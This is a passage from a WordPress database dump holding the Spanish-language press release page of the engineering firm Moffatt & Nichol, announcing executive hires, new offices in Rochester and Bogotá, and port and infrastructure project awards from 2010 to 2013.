proyecto”. Se hicieron pruebas bajo el nivel del agua de los pilotes que datan de 1930, se encofraron los pilotes de 1913 y se implementó un sistema de aislamiento con base sísmica. Adicionalmente la incorporación de una capa estructural permite a la plataforma del muelle soportar los requerimientos del tráfico moderno. \r\n\r\nEl nuevo Port Pavilion en Broadway Pier representa un exitoso balance entre beneficios económicos y un enfoque de diseño ambientalmente consciente que realza la dinámica y diversa zona costera del centro de la ciudad. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"14\">James Beaver se integra a Moffatt & Nichol como director de Servicios Comerciales para Marinas</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\"><img title=\"James Beaver\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\nLONDRES, REINO UNIDO, septiembre 23, 2013 – James Beaver se une a la oficina de Moffatt & Nichol Londres como Director de Servicios Comerciales para Marinas, bajo la práctica de Desarrollo Costero Urbano  y Marinas. El señor Beaver, anteriormente Director de Operaciones de Camper & Nicholson Marinas, tiene más de 24 años de experiencia con operaciones de marinas, nuevos desarrollos, redesarrollos, financiación y debida diligencia. También tiene extensa experiencia en el desarrollo y arrendamiento de inmuebles relacionados con marinas. \r\n\r\n“James trae a Moffatt & Nichol una increíble reputación y habilidades, al igual que amplia experiencia en la planificación y evaluación del mercado para orientar sobre el perfil potencial de demanda para cualquier marina, a través de la consultoría operativa y la puesta en marcha de la instalación”, comentó Robert Nathan, PE, Vicepresidente Senior de Moffatt & Nichol y líder de la práctica de Desarrollo Costero Urbano y Marinas. “Estamos muy contentos que esta experiencia esté disponible para ofrecer apoyo los intereses de nuestros clientes en el rápido crecimiento del mercado de puertos deportivos y estructuras de frente de mar, desarrollando marinas de alto nivel e inmuebles relacionados”.\r\n\r\nEn anteriores funciones, el señor Beaver fue miembro líder de un equipo senior responsable del desarrollo de una marina de 600 puestos de atraque y  operaciones de almacenamiento en seco en Portland, Dorset, Reino Unido, el cual fue el lugar sede para eventos de navegación para las Olimpiadas y para los Juegos Paralímpicos Londres 2012. Desarrolló un papel administrativo en el re-desarrollo y construcción de East Cowes Marina en Isle of Wight, Reino Unido. Recientemente, James dirigió el equipo administrativo senior en colaboración con Yas Marina, sede del Grand Prix Formula 1TM de Abu Dhabi. \r\n\r\nSobre su transición a Moffatt & Nichol, el señor Beaver afirma que, “estoy complacido de unirme a una firma con tan sobresaliente reputación. Es una gran oportunidad poder participar en los emprendimientos futuros de Moffatt & Nichol y continuar desarrollando marinas de primera clase alrededor del mundo”. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"13\">Proyecto Tampa Gateway Rail Terminal recibe altos honores en la Bahía de Tampa</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\"><img title=\"Tampa Gateway\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\" alt=\"\" width=\"400\" height=\"266\" /></a>\r\nPremiación Anual al Futuro de la Región del Concejo Regional de Planeación\r\n\r\nTAMPA, FLORIDA, julio 18, 2013 – Tampa Gateway Rail Terminal, un proyecto de US$11 millones de colaboración conjunta del Puerto de Tampa, fue galardonado con el Premio Jr. de Distinción Charles McIntosh, durante la Vigésima Primera Premiación Anual al Futuro de la Región, del Concejo Regional de Planeación de la Bahía de Tampa.\r\n\r\nEl Premio Jr. de Distinción Charles A. McIntosh fue presentado al proyecto por su demostración de una fuerte visión regional y excelencia en las categorías de servicio comunitario, ambiental y de infraestructura. Un panel independiente evaluó proyectos basados en los beneficios a la calidad de vida regional, beneficios al medio ambiente, innovación, rentabilidad y capacidad de continuar el impacto y beneficio regional.  El proyecto generó conectividad intermodal sin precedentes al Puerto de Tampa, el cual sirve como motor económico crucial, generando aproximadamente 100,000 empleos y US$8 millones en impacto económico anual. La instalación no sólo permite cuantiosos oportunidades de comercio que no estaban disponibles antes, sino también contribuye al incremento del etanol, disminuyendo las emisiones de CO2 y reduciendo la dependencia en fuentes externas de energía. \r\n\r\n“Estamos muy complacidos que nuestro compromiso con desarrollar el Puerto de Tampa en un hub intermodal de clase mundial y esta importante asociación estratégica han sido reconocidas a tan alto y prestigioso nivel,” dijo Paul Anderson, CEO y Director del Puerto de Tampa.  \r\n\r\nEl Gateway Rail es la más reciente fase de un plan maestro de mejoras a una instalación de 188 acres para contenedores que Moffatt & Nichol está liderando. Moffatt & Nichol ofrece servicios profesionales de ingeniería y consultoría que incluyen la planeación, diseño, documentos de construcción, administración de proyecto y apoyo a la construcción. El proyecto se completó dentro del cronograma y el presupuesto. \r\n\r\n“Moffatt & Nichol se siente orgulloso de ser parte de este proyecto integral en la Bahía de Tampa”, comentó Michael Bruce, PE, Gerente de Proyecto de Moffatt & Nichol. Este reconocimiento por parte del Concejo Regional de la Bahía de Tampa es un testimonio de la visión y el compromiso con la excelencia del Puerto de Tampa. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de prensa-2011','','inherit','open','open','','1399-revision-12','','','2013-11-14 00:36:50','2013-11-14 00:36:50','',1399,'http://moffattnichol.com/spanish/1399-revision-12/',0,'revision','',0),(2800,1,'2013-11-14 00:41:41','2013-11-14 00:41:41','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"16\">Moffatt & Nichol da la bienvenida a Olie Abbamonto como Jefa de Finanzas</h3>\r\n<a href=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\"><img title=\"Olie Abbamonto\" src=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\" alt=\"\" width=\"200\" height=\"280\" /></a>\r\nLONG BEACH, CA, noviembre 12, 2013 – Moffatt & Nichol se complace en anunciar que Olie Abbamonto se une a la firma como Jefa de Finanzas. La señora Abbamonto posee más de 20 años de experiencia en manejo financiero, planificación estratégica y contabilidad con firmas internacionales, con experiencia en implementación de Six Sigma. \r\n\r\nEn su papel como Jefa de Finanzas, la señora  Abbamonto se encargará de supervisar las responsabilidades del día a día de la planificación, implementación, administración y control de todas las actividades financieras de la empresa. \r\n\r\nPrevio a su integro a Moffatt & Nichol, la señora Abbamonto fue Vice Presidenta de Finanzas, Jefa de Finanzas y Directora en Cardno ERI, una firma consultora ambiental, subsidiaria de Cardno, donde se desempeñó en comités domésticos y globales. Anteriormente con Mazda North American Operations la señora Abbamonto fue totalmente responsable del desarrollo e implementación del programa Six Sigma para las operaciones de la firma en  de América del Norte. \r\n\r\nLa señora Abbamonto es egresada de Ain Shames University en Cairo, Egipto. Es también miembro activa de Financial Executives International, y se ha desempeñado como miembro de la directiva. Este año fue nominada como Jefa de Finanzas del año para el Business Journal del condado de Orange.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"15\">Moffatt & Nichol recibe el Premio COPRI 2013 